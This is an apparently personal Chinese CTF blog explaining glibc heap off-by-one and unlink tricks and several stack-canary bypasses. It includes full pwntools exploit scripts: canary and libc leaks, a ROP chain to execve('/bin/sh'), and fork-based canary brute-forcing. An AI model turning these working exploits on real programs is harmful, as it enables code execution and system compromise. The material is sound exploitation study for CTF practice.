M位:是否属于主进程

N位:是否由 mmap() 分配

chunk分类

除了根据P位进行的分类:allocate chunk & free chunk

还有:top chunk & last remainder chunk

glibc提供给用户的chunk主要就分为这4类

  • top chunk:处于一个arena的最顶部(即最高内存地址处)的chunk
  • last remainder chunk:unsorted bin中的最后一个chunk

这里引入了“bin”的概念,不过我想在UAF中分析“bin”,这里就先提一下吧:

  • small chunk:小于512(1024)字节的chunk
  • large chunk:大于512(1024)字节的chunk

chunk合并

先说说off-by-one的效果

两个相邻的chunk中(“chunk1”和“chunk2”),对“chunk1”进行操作(通常要用到UAF)使其溢出一字节到“chunk2”中,而它就会覆盖“chunk2”的presize的最后一字节

看上去好像没什么作用,但它的威力的确很大

因为在free掉“chunk2”后会发生 chunk合并,一共有两种合成方式:

向前合并(将要被free的chunk作为素材,被后一个chunk合并)

chunk将要被free时,通过 inuse_bit_at_offset 检测 后一个 chunk是否为free,如果是的话,将要被free的chunk会把它自己size加上nextsize(后一个chunk的大小),然后让新的chunk进入 unlink流程

向后合并(将要被free的chunk作为素材,被前一个chunk合并)

chunk将要被free时,通过 自己的sizeP位 检测 前一个 chunk是否为free,如果是的话,它会把它自己的size加到前一块chunk的size中 ,然后让新的chunk进入 unlink流程

unlink

unlink是一个宏操作,用于将某一个空闲chunk 从其所处的双向链表中脱链

1
2
3
4
5
6
7
8
9
10
11
12
void unlink(malloc_chunk *P, malloc_chunk *BK, malloc_chunk *FD)
{ //p是某个结构体“malloc_chunk”的地址,*p就是结构体本身(进行了降阶)
FD = P->fd; //FD就是指向下一个结构体的指针
BK = P->bk; //BK就是指向上一个结构体的指针
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr(check_action,"corrupted double-linked list",P);
else
{
FD->bk = BK; //FD->bk:下一个结构体中的last
BK->fd = FD;
}
}

unlink执行之前会先进行一个检查:

  • 当前这个chunkP的后一个chunk的fd == chunkP 是否成立
  • 当前这个chunkP的前一个chunk的bk == chunkP 是否成立

简单来说,它就是检查了:

  • chunkP的下一个chunk的上一个chunk是不是chunkP
  • chunkP的上一个chunk的下一个chunk是不是chunkP

解释unlink函数:

  • FD->bk = BK:让P结构体的下一个结构体中的 bk 变为 P本身的bk
  • BK->fd = FD:让P结构体的上一个结构体中的 fd 变为 P本身的fd

就相当于跳过了P这个结构体,把 FDBK 连接

off-by-one的利用姿势

off-by-one有多种利用方式:

  • 覆盖低字节数据(如果是地址,还可以改变其指向)
  • 覆盖“size的P位”为“\x00”,伪造上一个为“free chunk”(allocate chunk的“presize”是上一个allocate chunk的数据区,所以可以溢出一字节刚好到P位)

常见的造成off-by-one的原因:

  • strlen 和 strcpy 行为不一:strlen 计算字符串长度时是不把结束符 '\x00' 计算在内的,但是 strcpy 却会拷贝 ‘\x00’ ,导致了off-by-null
  • ( (&list + index) + read(0, *(&list + index) , size) ) = 0:在read写入的字节后加一个“\x00”,这种操作可以中断“打印模块”(许多打印函数会被“\x00”中断),但它也溢出了一个“\x00”出去

这里介绍一种特殊的利用姿势,可以实现WAA(又叫做Unlink攻击)

条件:可以利用UAF漏洞编辑free chunk

目的:溢出一字节,改变后一个chunk的presize, 导致其后向合并判断错误

那如果我们在“chunk1”中伪造一个“chunkF”,溢出一字节改变“chunk2”的presize,然后free掉chunk2执行后向合并,就会出现很奇妙的结果

​ // 注意:这些操作都是在free chunk中进行的,所以有“presize”

伪装的“chunkF”被“chunk2”当成了合并的目标,如果“chunkF”的“ fd&bk ”控制的好,就可以在通过unlink检查的同时实现WAA(write anything anywhere)

​ //这里先简单提一提,到了分析Unlink攻击的再详细分析

libc版本限制

“libc-2.29.so”及其之后的版本加入了一个chunk检查:

1
2
3
4
5
6
7
8
9
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
  • 需要 prechunk->size == chunk->presize

由于我们难以控制一个真实 chunk 的 size 字段,所以传统的 off-by-null 方法失效,但是,只需要满足被 unlink 的 chunk 和下一个 chunk 相连,所以仍然可以伪造 fake_chunk

最后还要绕过 unlink 的检查,如果我们没法 leak heap_base,就要通过以下的办法进行绕过:

  • 伪造的方式就是使用 large bin 遗留的 fd_nextsize 和 bk_nextsize 指针,以 fd_nextsize 为 fake_chunk 的 fd,bk_nextsize 为 fake_chunk 的 bk,这样我们可以完全控制该 fake_chunk 的 size 字段
  • 也可以使用 unsorted chunk 或者 large chunk 的 FD BK 指针,就是对堆风水的要求比较高
  • PS:伪造的方法在“Unlink攻击”中分析

pwndbg搜索技巧+one_gadget

这是某个CTF比赛上的题目

记得当时在打比赛时死活搞不出来“__libc_start_main”的偏移量(其实我都已经在GDB中看见了),看国外某大佬的WP后学到了不少关于“pwndbg搜索”的知识

通过这个题目我也纠正了不少概念上的误区,于是在此记录


1641000070341

循环输入

1641000121563

1641000135559

64位,dynamically,全开

1641000226315

代码分析

1641000431581

获取数据数到“buf”中

sub_ACA:

1641000694377

在s1中读入256字节(遇到“\n”就中断)

小循环:

1641000905974

如果前3个字节是”id “就把“v5”转换为整数并赋值给“v1”,否则就break

大循环:

1641001004738

如果前6字节是“create”就执行函数sub_BD1,否则就break

sub_BD1:

1641001295275

随机生成一段字符串

特大循环:

1641001361592

如果前4字节是“quit”则break结束程序

漏洞分析

1641003509946

1641001641478

这里就有数组越位和栈溢出

没有system,没有“/bin/sh”

1641379976647

“buf[v1]”并没有好好检查下标

入侵思路

首先考虑绕开PIE和Canary

那么这么泄露地址呢?

1641003528827

输出函数printf可以输出“s”的值,而“s”是用随机数拼凑出来的,而且有memset填充“0”,想控制printf根本不可能

但是有一种邪门的方式可以泄露canary:

1641379976647

“buf[v1]”并没有好好检查下标,也就是说,程序会把任何栈上的数据给放入“sub_BD1”进行加密,如果我们对加密后的数据进行分析,说不定就可以还原加密值

那么这里有两个问题需要解决:

1.canary相对于“buf[0]”的偏移

2.获取对应偏移的对应值

第一个问题需要在pwndbg中看:

在函数“sub_BD1”调用时,RAX中的值就是“buf[0]”(在ID那里输入的“0”)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 RAX  0xf593
RBX 0x555555400e10 ◂— push r15
RCX 0xffffffc0
RDX 0x6
*RDI 0xf593
RSI 0x555555400f09 ◂— movsxd rsi, dword ptr [rdx + 0x65] /* 'create' */
R8 0x2
R9 0x2
R10 0x555555400f02 ◂— and byte ptr ds:[rax], al /* '> ' */
R11 0x6
R12 0x5555554009c0 ◂— xor ebp, ebp
R13 0x7fffffffddf0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdce0 —▸ 0x7fffffffdd00 ◂— 0x0
RSP 0x7fffffffdc60 ◂— 0xd68 /* 'h\r' */
*RIP 0x555555400d80 ◂— call 0x555555400bd1

发现其值为 “0xf593” ,用pwngdb查找这个字符串:

1
2
3
4
5
6
7
8
9
10
pwndbg> search -t word 0xf593
libc-2.31.so 0x7ffff7f78381 0x81fff59381fff593
libc-2.31.so 0x7ffff7f78385 0x5fff59381fff593
libc-2.31.so 0x7ffff7f78389 0x9ffff59105fff593
libc-2.31.so 0x7ffff7f78395 0x81fff59381fff593
libc-2.31.so 0x7ffff7f78399 0xf3fff59381fff593
libc-2.31.so 0x7ffff7f7839d 0xfff58ff3fff593
libc-2.31.so 0x7ffff7f87fe9 0xd400019d60fff593
[stack] 0x7fffffffdbfc 0xf593
[stack] 0x7fffffffdc76 0x86a89b009b7df593

接着找寻canary的值:

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> canary
AT_RANDOM = 0x7fffffffe149 # points to (not masked) global canary value
Canary = 0x959c7d572835fc00 (may be incorrect on != glibc)
Found valid canaries on the stacks:
00:00000x7fffffffd558 ◂— 0x959c7d572835fc00
00:00000x7fffffffd5c8 ◂— 0x959c7d572835fc00
00:00000x7fffffffdac8 ◂— 0x959c7d572835fc00
00:00000x7fffffffdb28 ◂— 0x959c7d572835fc00
00:00000x7fffffffdb38 ◂— 0x959c7d572835fc00
00:00000x7fffffffdb98 ◂— 0x959c7d572835fc00
00:00000x7fffffffdc48 ◂— 0x959c7d572835fc00
00:00000x7fffffffdcd8 ◂— 0x959c7d572835fc00

查找“0x959c7d572835fc00”(canary)的地址:

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> search -t qword 0x959c7d572835fc00
[anon_7ffff7fb1] 0x7ffff7fb6568 0x959c7d572835fc00
[stack] 0x7fffffffb3e8 0x959c7d572835fc00
[stack] 0x7fffffffb458 0x959c7d572835fc00
[stack] 0x7fffffffd558 0x959c7d572835fc00
[stack] 0x7fffffffd5c8 0x959c7d572835fc00
[stack] 0x7fffffffdac8 0x959c7d572835fc00
[stack] 0x7fffffffdb28 0x959c7d572835fc00
[stack] 0x7fffffffdb38 0x959c7d572835fc00
[stack] 0x7fffffffdb98 0x959c7d572835fc00
[stack] 0x7fffffffdc48 0x959c7d572835fc00
[stack] 0x7fffffffdcd8 0x959c7d572835fc00

现在我们找到了canary中出现的随机数的地址,还有“buf[0]”中随机数的地址

按道理来说,两者相减就可以得到canary随机数相对于“buf[0]”的偏移了,但是我们却搜索到了多组数据,这是因为这些数据可能在随机数表中多次出现

只有一次一次尝试,把离谱的排除了之后就得到偏移了(相当看脸)

1
2
0x7fffffffdcd8 - 0x7fffffffdc76 = 98
98 / 2 = 49 #数组buf的类型为‘int16’

第二个问题有一点麻烦:(先看一段代码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
hashes = {}
stack_canary_offset = 49
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"

def leak(offset):
p.recvuntil(b'> ')
p.sendline(b'id ' + str(offset).encode())
p.recvuntil(b'> ')
p.sendline(b'create')
p.recvuntil(b'Your key: ')
key = p.recvline().strip().decode()
value = hashes[key]
log.info('Offset {}: {} ({})'.format(offset, key, hex(value)))
return value

def precompute():
global hashes
for i in range(0xffff+1): #循环少了匹配的几率小,循环多了匹配的时间长
libc.srand(i)
val = ''
for j in range(32):
val += charset[libc.rand() % len(charset)]
hashes[val] = i
log.info("Computed {} hashes.".format(len(hashes)))

precompute()
canary = 0

for i in range(4):
canary+=(leak(stack_canary_offset + i))<<(16*i)
print("canary >> "+hex(canary))

函数leak中的offset其实就是canary在随机数表中的偏移,对应偏移中存放的数据就是canary片段的值,这里我们可以用一个很骚的方式获取这个值

我们直接把canary的偏移输入给程序,程序就会读取canary的值,并且用这个值来生成“32位”字符串,我们这里用循环“从 0 到 0xffff+1” 依次生成“32位”字符串,然后把“程序生成的”和“我们生成的”进行对比,如果可以匹配就证明canary的值就是对应的下标

​ // 当然也有小概率会重复,多试几次就好了

解决了canary就要考虑怎么获取shell的问题:

首先程序开了PIE的,ROP基本上废了,需要泄露“__libc_start_main”

我们可以用泄露canary的方式来泄露“__libc_start_main”(就是有一点麻烦)

先在pwndbg中看”buf[0]”的数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 RAX  0x9bf0
RBX 0x555555400e10 ◂— push r15
RCX 0xffffffc0
RDX 0x6
*RDI 0x9bf0
RSI 0x555555400f09 ◂— movsxd rsi, dword ptr [rdx + 0x65] /* 'create' */
R8 0x2
R9 0x2
R10 0x555555400f02 ◂— and byte ptr ds:[rax], al /* '> ' */
R11 0x6
R12 0x5555554009c0 ◂— xor ebp, ebp
R13 0x7fffffffde00 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdcf0 —▸ 0x7fffffffdd10 ◂— 0x0
RSP 0x7fffffffdc70 ◂— 0xd68 /* 'h\r' */
*RIP 0x555555400d80 ◂— call 0x555555400bd1

搜索一下:

1
2
3
pwndbg> search -t word 0x9bf0
libc-2.31.so 0x7ffff7fa54e0 0xf5fff69bf0
[stack] 0x7fffffffdc86 0x9260245d5a0d9bf0

然后不知道从哪里掏出来“main”的返回地址

1
2
3
► f 0   0x555555400d80
f 1 0x555555400dfe
f 2 0x7ffff7dea0b3 __libc_start_main+243

搜索一下这个地址,就得到了存放“返回地址”的地址

1
2
pwndbg> search -t qword 0x7ffff7dea0b3
[stack] 0x7fffffffdd18 0x7ffff7dea0b3

两者相减计算偏移:

1
2
0x7fffffffdd18 - 0x7fffffffdc86 = 146
146 / 2 = 73

放入刚刚的模块中“__libc_start_main”的地址就有了

1
2
3
4
__libc_start_main = 0
for i in range(4):
__libc_start_main+=(leak(stack_libc_start_main_offset + i))<<(16*i)
print("__libc_start_main >> "+hex(__libc_start_main))

最后可以用“one_gadget”来打

1
2
3
4
5
6
7
8
9
10
11
12
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *   
import ctypes

p=process('./newbie')
elf=ELF('./newbie')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
#context.log_level = 'debug'
hashes = {}
stack_canary_offset = 49
stack_libc_start_main_offset = 73
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"

def leak(offset):
p.recvuntil(b'> ')
p.sendline(b'id ' + str(offset).encode())
p.recvuntil(b'> ')
p.sendline(b'create')
p.recvuntil(b'Your key: ')
key = p.recvline().strip().decode()
value = hashes[key]
# Correct for the 1 and 0 collision.
if value == 1:
value = 0
log.info('Offset {}: {} ({})'.format(offset, key, hex(value)))
return value

def precompute():
libc = ctypes.cdll.LoadLibrary("libc.so.6")
global hashes
for i in range(0xffff+1):
libc.srand(i)
val = ''
for j in range(32):
val += charset[libc.rand() % len(charset)]
hashes[val] = i
log.info("Computed {} hashes.".format(len(hashes)))

precompute()

canary = 0
for i in range(4):
canary+=(leak(stack_canary_offset + i))<<(16*i)
print("canary >> "+hex(canary))

__libc_start_main = 0
for i in range(4):
__libc_start_main+=(leak(stack_libc_start_main_offset + i))<<(16*i)
print("__libc_start_main >> "+hex(__libc_start_main-243))

libc_start_main_offset = libc.libc_start_main_return
libc_base=__libc_start_main-libc_start_main_offset
print("libc_base >> "+hex(libc_base))

poprdi_ret=libc_base+0x0000000000026b72
poprsi_ret=libc_base+0x0000000000027529
poprdx_poprbx_ret=libc_base+0x0000000000162866
binsh_libc=libc_base+0x00000000001b75aa
execve_libc=libc_base+libc.sym['execve']
print('execve >> ' +hex(execve_libc))

p.recvuntil('> ')
payload=b'a'*(0x60-8)+p64(canary)+b'b'*8
payload+=p64(poprdi_ret)+p64(binsh_libc)
payload+=p64(poprsi_ret)+p64(0)
payload+=p64(poprdx_poprbx_ret)+p64(0)+p64(0)
payload+=p64(execve_libc)
print(len(payload))
p.sendline(payload)
p.recvuntil('> ')
p.sendline('quit')

p.interactive()

参考: pwn题查找字符串方法记录


PS:

我这个libc版本打不了“one_gadget”,只能自己凑了

还有一个问题:用system打不通,但execve一下子就通了

canary的各种绕过技巧

前几天又被canary给恶心了,以前一直用格式化字符串漏洞和一些输出函数来泄露canary,这一回啥也没有,给我搞麻了

回头想来,我好像就只会这两种canary的泄露方法,于是我打算学一学获取canary的技巧


canary原理

1
2
v4 = __readfsqword(0x28u);
return __readfsqword(0x28u) ^ v4;

有时候我们会在IDA中看见这两个东西,这就是canary的生成代码

在函数开始,fs:0x28 的值被存储在 ebp - 0xc,在函数返回之前对 ebp - 0xc处的值进行检查,如果和 fs:0x28 不一样,说明发生了溢出,紧接着执行__stack_chk_fail_local 并退出进程

1
2
3
.text:00000000004007F3                 mov     rax, fs:28h
.text:00000000004007FC mov [rsp+128h+var_20], rax
.text:0000000000400804 xor eax, eax
1
2
3
4
5
6
.text:0000000000400882                 mov     rax, [rsp+128h+var_20]
.text:000000000040088A xor rax, fs:28h
.text:0000000000400893 jnz short loc_4008A9
--------------------------------------------------------------------------
.text:00000000004008A9 loc_4008A9:
.text:00000000004008A9 call ___stack_chk_fail

​ //这个图的上面是高地址,下面是低地址

那么,fs:0x28 中的值是怎么生成的呢?

事实上,TLS 中的值由函数 security_init 进行初始化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static void
security_init (void)
{
// _dl_random的值在进入这个函数的时候就已经由kernel写入.
// glibc直接使用了_dl_random的值并没有给赋值
// 如果不采用这种模式, glibc也可以自己产生随机数

//将_dl_random的最后一个字节设置为0x0
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);

// 设置Canary的值到TLS中
THREAD_SET_STACK_GUARD (stack_chk_guard);

_dl_random = NULL;
}

//THREAD_SET_STACK_GUARD宏用于设置TLS
#define THREAD_SET_STACK_GUARD(value) \
THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)

在gcc中使用canary:

1
2
3
4
5
-fstack-protector 启用保护,不过只为局部变量中含有数组的函数插入保护
-fstack-protector-all 启用保护,为所有函数插入保护
-fstack-protector-strong
-fstack-protector-explicit 只对有明确 stack_protect attribute 的函数开启保护
-fno-stack-protector 禁用保护

格式化字符串漏洞

这个可以说是经典了,找一找偏移用“%p”一下子就搞出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
10000| 0x7fffffffdf20 ("aaaaaaaa\n")      #printf第一个参数的地址
10008| 0x7fffffffdf28 --> 0xa ('\n')
10016| 0x7fffffffdf30 --> 0x0
10024| 0x7fffffffdf38 --> 0x0
10032| 0x7fffffffdf40 --> 0x0
10040| 0x7fffffffdf48 --> 0x0
10048| 0x7fffffffdf50 --> 0x0
10056| 0x7fffffffdf58 --> 0x0
10064| 0x7fffffffdf60 --> 0x0
10072| 0x7fffffffdf68 --> 0x0
10080| 0x7fffffffdf70 --> 0x0
10088| 0x7fffffffdf78 --> 0x0
10096| 0x7fffffffdf80 --> 0x0
10104| 0x7fffffffdf88 --> 0x0
10112| 0x7fffffffdf90 --> 0x0
10120| 0x7fffffffdf98 --> 0x0
10128| 0x7fffffffdfa0 --> 0x400a50 (push r15)
10136| 0x7fffffffdfa8 --> 0x7ce1a471e5f87d00 #金丝雀巢穴
10144| 0x7fffffffdfb0 --> 0x7fffffffdff0 --> 0x0 #上一个函数的ebp
10152| 0x7fffffffdfb8 --> 0x4008b8 (jmp 0x4008d8) #返回地址
10160| 0x7fffffffdfc0 --> 0x7ffff7fb2fc8 --> 0x0

可以计算出偏移为“17”

1
2
3
4
formats("%23$p")     #这是64位系统 17+6=23
p.recvuntil('0x') #用prinft打印的canary以‘0x’开头
canary = eval(b'0x'+p.recv(16)) #canary有8个字节
print(hex(canary))

​ //通常把gdb和终端结合起来看效果更好

输出函数

canary设计为以字节“\x00”结尾,而输出函数会被“\x00”中断,如果把“\x00”给覆盖了就可以利用输出函数来泄露canary

1
2
3
4
5
6
7
8
9
10
10000| 0x7fffffffdf20 ("aaaaaaaa")      #printf第一个参数的地址
10008| 0x7fffffffdf20 ("aaaaaaaa")
10018| 0x7fffffffdf20 ("aaaaaaaa")
10020| 0x7fffffffdf20 ("aaaaaaaa")
10028| 0x7fffffffdf20 ("aaaaaaaa")
10030| 0x7fffffffdf20 ("aaaaaaaa")
10038| 0x7fffffffdfa8 --> 0x7ce1a471e5f87d+'\n' #金丝雀巢穴
10040| 0x7fffffffdfb0 --> 0x7fffffffdff0 --> 0x0 #上一个函数的ebp
10048| 0x7fffffffdfb8 --> 0x4008b8 (jmp 0x4008d8) #返回地址
10050| 0x7fffffffdfc0 --> 0x7ffff7fb2fc8 --> 0x0

这样canary结尾的“\x00”就被替换为了“\n”,后续的read函数就可以成功泄露canary

利用stack_chk_fail的报错信息

前面两个都是常规的,这个就不一样了

1
2
*** stack smashing detected ***: terminated
[1] 3005 abort (core dumped) ./newbie

当canary被覆盖时,程序会进行上述报错

打印这些字符串的函数是“stack_chk_fail.c”:

1
2
3
4
5
6
7
8
9
10
11
12
"debug/fortify_fail.c"
void
__attribute__ ((noreturn))
__fortify_fail (msg)
const char *msg;
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
libc_hidden_def (__fortify_fail)

可以发现canary触发时会打印 “libc_argv[0]”,如果栈溢出覆盖了 “libc_argv[0]”,那么程序就会打印覆盖的内容

​ // libc_argv[0]装有指向程序地址的指针

这种操作只能泄露指针的内容,并且需要目标指针的地址来覆盖 “libc_argv[0]” ,所以“libc_argv[0]” 相当于输入值的偏移也需要掌握

​ // 如果存在“fork”,还可以利用这种方式来打印“libc_base”

stack_chk_fail劫持

canary报错时会调用 _stack_chk_fail ,那么劫持 _stack_chk_fail 当然也是一种攻击手段

这个一般通过GOT表劫持该函数,所以不能开启 Full RELRO 保护

像printf格式化漏洞WAA,或者堆溢出WAA,都可以改写GOT表内容,甚至配合UAF和数组越位也可以改写GOT表(如果合适的话)

one-by-one爆破

一般来说,爆破canary是很蠢的事情,因为每次运行程序canary都会改变

但是存在一类通过fork函数开启子进程交互的题目,fork函数会直接拷贝父进程的内存,因此每次创建的子进程的canary是相同的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
void getflag(void) {
char flag[100];
FILE *fp = fopen("./flag", "r");
if (fp == NULL) {
puts("get flag error");
exit(0);
}
fgets(flag, 100, fp);
puts(flag);
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void fun(void) {
char buffer[100];
read(STDIN_FILENO, buffer, 120);
}
int main(void) {
init();
pid_t pid;
while(1) {
pid = fork(); //fork开启子进程
if(pid < 0) {
puts("fork error");
exit(0);
}
else if(pid == 0) {
puts("welcome");
fun();
puts("recv sucess");
}
else {
wait(0);
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context.log_level = 'debug'

cn = process('./bin')
padding = 'a'*100

cn.recvuntil('welcome\n')
canary = '\x00'
for j in range(3):
for i in range(0x100):
cn.send( padding + canary + chr(i))
a = cn.recvuntil('welcome\n')
if 'recv' in a:
canary += chr(i)
break

cn.sendline('a'*100 + canary + 'a'*12 + p32(0x0804864d))

flag = cn.recv()
cn.close()
log.success('flag is:' + flag)
#32位为‘3’,64位为‘7’

这个模板可以说是经典了,遇到此类题目后改一改就好了

覆盖TLS中储存的canary值

canary的值存储在fs:[0x28]中

fs寄存器是由glibc定义的,存放Thread Local Storage (TLS)信息

该结构体如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard; /* canary,0x28偏移 */
uintptr_t pointer_guard;
……
} tcbhead_t;

这个 stack_guard 是在 libc_start_main 中进行设置和赋值的

一般来说,我们不知道TLS的位置,需要爆破脚本来找出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
offset=1
while True:
p = process('./xxxx')
p.recvuntil("xxxx")
payload = ''
payload += (padding-8) #padding
payload += 'aaaaaaaa' #fake canary
payload += p64(0xdeadbeef) #rbp
payload += p64(0) #返回地址
payload += 'a'*(offset-len(payload))
p.send(payload)
temp = p.recvall()
if "xxxx" in temp:
print(offset)
p.close()
break
else:
offset += 1
p.close()

""""
原本程序覆盖了canary是一定会报错的,但是payload后续填入的“a”可能会覆盖TLS,使程序通过canary
只要程序通过了canary,‘p.recvall()’就会不接受到报错信息(stack_chk_fail)
这之后我们就可以通过打印出的offset来计算偏移了
""""

当然也可以不找偏移,直接一次性填入非常长的“a”也是可以覆盖的

覆盖TLS的方法只能在有“pthread_create”的题中可以用用,不然程序就很可能会覆盖关键数据,然后直接挂掉

今天遇到一个题目,有canary并且在循环中用fork生成子进程,当时想都没有想就开始canary爆破,仔细分析代码后才发现出题人的阴险,先用fork引诱我进行canary爆破,等我把爆破脚本写好了再搞我一手,我现在真的怀疑这人是学社工的

通过学习其他大佬的WP,我了解到了一种新的接受数据的方式

这种方式在程序使用“printf”进行输出的时候还挺好用的


canary爆破未遂+数据接收技巧

1641288175862

循环输入

1641287256715

1641287265290

32位,dynamically,开了NX,开了canary

1641288063874

1641288075846

1641288084647

代码分析

getchar接受到“Y”后程序继续执行,然后getchar接收“Y”之后的字符(防止溢出)

fork函数执行以后,程序就把它自己复制了一遍,并且优先执行新进程

1
2
3
1)在父进程中,fork返回新创建子进程的进程ID
2)在子进程中,fork返回0
3)如果出现错误,fork返回一个负值

也就是说,返回“0”的子进程会进入函数“sub_8048B29”,而父进程不会

父进程会进行循环,源源不断地产生子进程

参考:fork()函数详解

1641289340337

子进程会触发函数“read”,输入“0x200”字节到“malloc”分配的空间“buf”

1641289574670

for循环会一直增加“i”的值,直到条件成立,然后“buf[i]”会被赋值为“0”

并且“i”必须为“4”的倍数(包括“0”)

1
2
3
for i in range(100):
data = i & 3
print(data)

把“buf”赋值给“dest”后返回“1”,后面就是一个算法,通过一系列的位移操作使四个变成三个字符

​ // 其实就是base64加密

入侵思路

1641290228902

1641291871253

“buf”和“dest”都在堆中,那么溢出点在那里呢?

1641292428016

1641292662924

程序把“dest”进行加密,赋值给“v21”了

“dest”可以装“0x200”字节,而“v21”只能装“258”字节,计算得溢出了

1
0x200 * 3 / 4 = 384 > 269 #在IDA上看的偏移  

接下来就是考虑泄露Canary

一般程序涉及到“进程”和“线程”的时候,就会出现两种对应的canary绕过手段,前者为“canary爆破”,后者为“覆盖TLS”,这里使用前者

因为函数“fork”产生的字进程完全克隆父进程,canary也一样,所以这里可以采用canary爆破的方式,一字节一字节爆破canary

1
2
3
4
5
6
7
for j in range(3): #32位为‘3’,64位为‘7’
for i in range(0x100):
p.send( padding + canary + chr(i)) #从0~0xFF,依次注入
a = p.recvuntil('xxxx')
if 'xxxx' in a:
canary += chr(i)
break

重点就是这个“xxxx”写什么,程序的输出就只有这3种情况:

1.子进程正常结束:

1
2
3
4
5
6
7
8
9
May be I can know if you give me some data[Y/N]
Y
Give me some datas:

1233
Result is:�m�
Finish!

May be I can know if you give me some data[Y/N]

2.子进程触发canary:

1
2
3
4
5
6
7
8
9
May be I can know if you give me some data[Y/N]
Y
Give me some datas:

bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
Result is:m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m�ۻ��4
*** stack smashing detected ***: terminated

May be I can know if you give me some data[Y/N]

3.子进程报错:

1
2
3
4
5
6
7
8
9
May be I can know if you give me some data[Y/N]
Y
Give me some datas:

bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
Something is wrong


May be I can know if you give me some data[Y/N]

总结归纳一下:

接收字符串中有“Finish”:当前字符串正确

接收字符串中有“wrong”:程序长度不对

不管canary是否正确,只要长度不对,程序就会输出一样的东西,这一点完美卡死了canary爆破,后来发现canary可以用“覆盖低字节的方式”打印出来(”\n”覆盖”\x00”,这里是printf,所以不覆盖也可以)

​ // 原本想用新学的canary爆破练练手,没想到被出题人制裁了

这采用常规接收数据的方式:(直接计算)

1
2
3
4
5
6
7
p.recvuntil("Give me some datas:\n") #这里必须加"\n"
payload=b'a'*int(258*4/3)
p.sendine(payload)
p.recvline() #接收了'\n'('\n'用printf打印出来的时候占一整排,用recvline接收正好)
canary =p.recv()[268:271] #len('Result is:')+258,接收3字节(没有"\x00")
canary="\x00"+canary
print("canary >> " +canary)

还有一种更骚的操作:

1
2
3
4
5
6
7
p.recvuntil("Give me some datas:") #这里可以不加"\n"
